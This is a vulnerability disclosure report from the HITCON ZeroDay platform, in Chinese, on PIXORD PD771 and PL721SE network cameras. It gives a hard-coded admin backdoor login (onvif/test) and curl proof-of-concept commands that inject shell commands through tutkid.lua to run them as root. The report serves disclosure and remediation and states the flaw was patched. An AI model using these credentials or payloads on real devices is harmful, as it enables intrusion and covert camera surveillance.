Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2019-00314
- Vendor: 一碩科技股份有限公司
- Title: 一碩科技 PD771魚眼網路攝影機的遠端代碼執行
- Introduction: 存在管理員權限後門帳號,且又存在登入後的指令注入,而導致遠端代碼執行
處理狀態
目前狀態
公開
Last Update : 2019/08/30
-
新提交
-
已審核
-
已通報
-
已修補
-
未複測
-
公開
處理歷程
- 2019/04/09 10:40:43 : 新提交 (由 huding 更新此狀態)
- 2019/04/09 22:11:47 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/04/10 17:35:44 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/04/10 17:35:44 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/04/10 17:35:44 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/04/11 23:00:00 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/06/04 10:51:53 : 已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/06/12 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
- 2019/08/30 14:45:06 : 公開 (由 HITCON ZeroDay 服務團隊 更新此狀態)
詳細資料
- ZDID:ZD-2019-00314
- 通報者:huuuuuding (huding)
- 風險:嚴重
- 類型:遠端命令執行 (Remote Code Execution)
參考資料
攻擊者可經由該漏洞取得主機完整權限、任意寫入檔案及取得大量內網資訊。
漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection
漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html
漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection
漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html
漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
後門帳號 + 指令注入:
http://www.pixord.com/en/products_show.php?show=36
後門帳號:
http://www.pixord.com/en/products_show.php?show=40
http://www.pixord.com/en/products_show.php?show=36
後門帳號:
http://www.pixord.com/en/products_show.php?show=40
敘述
1.
種類:PD771、PL721SE產品 存在無法修改的一組帳密,且該帳密有管理員權限
重現方式:使用以下帳密登入
後門帳號:onvif
後門密碼:test
使用該帳密登入後,可以新增一組有管理員權限的帳號(下圖的test),
從下圖也可以發現帳號列表中沒有顯示出onvif帳號,代表該組帳號的密碼無法被修改。
使用後門帳號登入後,可以使用鏡頭偷窺
2.
種類:PD771產品 存在登入後的指令注入
重現方式:
# 使用以下指令發現大約5秒才會跑完:
curl -v http://onvif:test@<device_ip>/cgi-bin/admin/tutkid.lua -X POST -d ";sleep 5;"
# 列出根目錄下的所有檔案:
curl -v http://onvif:test@<device_ip>/cgi-bin/admin/tutkid.lua -X POST -d ";ls -l /;"
以root權限執行任意指令,如下圖所示,:
影響:
利用以上的2個漏洞,
攻擊者能做到:
管理攝影機、看到鏡頭正在拍的畫面、控制整台攝影機、把攝影機當跳板或者植入惡意程式等等。
修補建議
1. 移除後門密碼
2. 過濾使用者的輸入,以防止指令注入
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。